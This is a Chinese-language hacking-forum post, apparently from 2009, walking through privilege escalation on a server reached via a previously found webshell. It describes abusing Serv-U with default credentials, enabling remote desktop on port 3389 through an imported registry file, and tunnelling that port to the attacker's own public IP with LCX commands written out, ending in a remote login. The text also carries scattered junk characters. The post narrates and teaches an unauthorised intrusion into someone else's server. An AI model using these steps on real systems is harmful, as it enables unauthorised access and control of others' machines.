|
 
- 帖子
- 199
- 积分
- 724
- 威望
- 508
- 金钱
- 10463
- 在线时间
- 185 小时
      
|
原创作者：huar
, h% x. R; C8 {# I7 n: v+ r7 M% y原创出处：3.A.S.T 网络安全技术团队
0 F5 D, y) p7 i% u
, r. Q/ B3 Z+ H7 o' \3 s简单的提权教程，希望给还不会提权的兄弟们简单介绍下。; u* T+ R: B0 o; T
之前的一个shell，在翻看记事本的时候找到的，大致看了下，shell权限还是非常大的，于是就试试提下权。: B R3 i. g9 Q0 f1 _
5 I0 M! @2 x) ?. t( o5 S) _
提权方法：SERU-U+LCX端口转发+注册表开3389端口
# ^7 W. n4 ]; G, d+ k2 a; l3 W% M0 ^( v0 @/ ~ j0 M- T3 `
在shell里看了下，WScript.shell等重要的组件没有被禁用，首先上传个cmd试下可以运行，在查看服务器开的端口时，发现服务器开了4899、43958等端口，是没有开3389端口的（截图提权之前未截取，抱歉``）。 于是我就试下常用的Serv-U提权了,如果管理员大叔照顾我们这些小菜的话，那就太好了..
: J; N$ o: L, n4 }: ?8 p5 A
! n* p+ y0 C- J2 r0 p; p7 z+ b4 [8 g( q2 q" C
* { p% L) `, t8 |: G7 ]" _: N" R先用默认账号密码试试，不过很幸运的是用默认账号密码提权成功了，嘿嘿``没想到管理员大叔这么照顾俺们这些小菜..接下来的路就好走多了~~1 K4 Z7 y1 G& f; O
% O# h- i% J! e% U$ C
前面说了，服务器是没有开3389端口的，工欲善其事必先利其器，由于现在我手中没有免杀的开3389端口的工具，所以我们就想想其它的办法吧``最后想了下，我们可以用导入注册表的方法开启服务器的3389服务端口，最后上传个开3389的注册表文件，在Serv-U命令下成功导入,3389端口成功开启." U$ O) U) J% U- d2 @/ F4 N
' h: y: C } b0 `2 {- Z( k! ]* K5 T; D. K
还有就是服务器是在内网了，那我们就要用LCX做端口转发。
0 `2 t/ Y$ x/ ~9 o/ \% V服务器上运行：lcx -slave XXX.XXX.XXX.XXX(你自己公网ip) XX(端口号) XXX.XXX.XXX.XXX（服务器ip） 3389' a* U m$ ^* ~+ s, w7 O$ ?- c' d) ~
本地机器运行：lcx -listen XX(端口号) XXX（在自己机器上指定的端口）) D! o$ |" F4 ^
- O( D! F5 L1 F, j具体的可以参考下呆呆版主做的视频教程，做的非常详细，在这里就不再多说什么了。
" r2 A$ ~* U& m, Q; E& }
; u- k8 Y( T( I1 t0 N
/ ~8 z4 o8 H9 R, q' P5 L2 J7 U最后就是我的机器也在内网，LCX 转发端口到本地必须用公网ip，这个好办，路由器里有DMZ，可以用下这个功能的``嘿嘿~~! b3 Z/ d3 Y9 X+ f4 \3 s C; V+ L
. U5 F5 j; F, m& b; x1 _- k
! F# k+ u( s4 s/ k" s/ m2 M- \! t6 T# g7 n q+ w
最后远程连接成功```
3 U$ }5 V( x3 H. [) E7 d% {" k- v! w! R( W* Z2 d
0 D. E. Q6 ]5 r; e2 ?, m
2 i5 i& q3 m! f6 L8 \0 C9 W前几天还在议论INTEL和AMD的服务器处理器的问题呢``这次就遇见个AMD的服务器，嘿嘿`````
m, r4 M! `7 |感觉速度还可以```` |
附件: 您需要登录才可以下载或查看附件。没有帐号？注册
-
1
评分人数
-
|
发表于 2009-6-27 18:59
| 
发表于 2009-6-28 13:03
| .gif)
发表于 2009-6-29 09:32
| 
受益了